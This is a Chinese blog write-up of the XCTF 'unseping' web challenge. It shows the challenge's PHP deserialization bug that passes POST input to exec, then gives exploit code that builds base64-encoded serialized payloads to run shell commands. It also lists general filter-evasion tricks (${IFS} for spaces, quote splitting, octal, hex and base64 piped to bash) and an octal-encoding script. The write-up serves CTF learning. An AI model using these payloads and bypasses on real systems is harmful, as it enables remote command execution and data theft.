攻防世界Web题 - unseping 总结

攻防世界Web题 - unseping 总结

1、审题

进入题目,可以看出来是典型的php反序列化题目。

2、源代码分析

<?php
highlight_file(__FILE__);  //显示源代码

class ease{
    
    private $method;  //私有变量
    private $args;
    function __construct($method,$args) {  //创建对象时自动调用
        $this->method = $method;  //给私有变量赋值
        $this->args = $args;
    }
 
    function __destruct(){ //对象销毁时自动调用
        if (in_array($this->method, array("ping"))) {  //判断method变量是否等于"ping"
            //用一个数组作为参数调用一个回调函数,返回值为回调函数执行的结果或者为false。
            call_user_func_array(array($this, $this->method), $this->args);  
        }
    } 
 
    function ping($ip){
        exec($ip, $result);//执行系统命令
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {//过滤匹配
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){ //反序列化时自动调用
        foreach($this->args as $k => $v) { //遍历数组
            $this->args[$k] = $this->waf($v); //调用waf函数过滤数组中的所有值
        }
    }   
}

$ctf=@$_POST['ctf'];  //接受POST参数ctf
@unserialize(base64_decode($ctf));  //对ctf参数进行base64解码
?>

3、构建调用链

base64编码后的序列化字符串 >> unserialize() >> __wakeup() >> waf() >> __destruct() >> ping()
​
通过对源代码的分析,我们可以得出以下几点:
1、序列化字符串需要进行base64编码
2、私有变量 method="ping"
3、私有变量 args 是一个数组
​
涉及函数作用:
1、unserialize()  反序列化
2、__wakeup()     反序列化自动调用
3、__construct()  构建对象的时被调用,反序列化时不会调用该方法
4、__destruct()   明确销毁对象或脚本结束时被调用;
5、preg_match_all()        执行一个全局正则表达式匹配。
6、call_user_func_array()  调用回调函数,并把一个数组参数作为回调函数的参数

4、解题过程

构建序列化字符串:

<?php
class ease{
    private $method;  //私有变量
    private $args;
    function __construct($method,$args) {  //创建对象时自动调用
        $this->method = $method;  //给私有变量赋值
        $this->args = $args;
    }
}

//1、获取当前目录下的文件
$e = new ease("ping", array('l""s${IFS}-l'));  
echo base64_encode(serialize($e));
//执行后,获得当前目录下存在目录:flag_1s_here

//2、获取 flag_1s_here 目录下的文件
$e = new ease("ping", array('l""s${IFS}-l${IFS}fl""ag_1s_here'));  //获取当前目录下的文件
echo base64_encode(serialize($e));
//执行后,获得 flag_1s_here 目录下存在文件 flag_831b69012c67b35f.php,浏览器访问后没有反应,说明只能查看该文件

//3、查看flag_831b69012c67b35f.php文件的内容,因为 /、;、|、& 都已经被过滤了,这里采用8进制绕过
//把 cat flag_1s_here/flag_831b69012c67b35f.php 转为8进制如下:"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160"
$a = array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');
$e = new ease("ping", $a);  
echo base64_encode(serialize($e));
//获取到flag:array(2) { [0]=> string(5) " string(47) "//$cyberpeace{e922462a49effa0bc1ac5410d01a89d2}" } 

5、绕过技巧说明

  1. linux下绕过空格技巧(因为空格被过滤,所以需要绕过空格)

    ${IFS}:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
    $IFS$9:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
    $IFS$1
    <:>>和>都属于输出重定向,<属于输入重定向。
    <>
    {,}
  2. 关键字绕过

    Base64编码绕过:
    echo MTIzCg==|base64 -d     //打印123,MTIzCg==是123的base64编码
    echo "Y2F0IC9mbGFn"|base64 -d|bash //执行cat /flag
    echo "bHM="|base64 -d|sh           //将执行ls
    ​
    Hex编码绕过:
    echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
    $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")    执行cat /flag
    ​
    Oct编码绕过:
    $(printf "\143\141\164\40\151\156\144\145\170\56\160\150\160") 执行cat index.php
    $(printf "\154\163")       执行ls
    ​
    内联执行绕过:
    echo "a`pwd`"     # 输出a/opt
    cat$IFS$9`ls`     # 查看当前目录下的所有的文件内容
    ​
    引号绕过:
    ca""t  =>  cat
    mo''re  =>  more  
    ​
    反斜杠绕过:
    ca\t  =>  cat
    mo\re  =>  more  
    

这里给出一个字符串转8进制的pyhon脚本

# 字符串转8进制
str_1 = input("请输入要转换的字符串:")
str_8 = ""
for s in str_1:
    str_8 += str(oct(ord(s))).replace("0o", "\\")
print(str_8)

我这里用到的是 ${IFS} 空格绕过, 引号绕过,Oct编码绕过。

参考文档:远程命令/代码执行漏洞(RCE)总结_nigo134的博客-CSDN博客_远程代码执行漏洞

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

僅衣

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值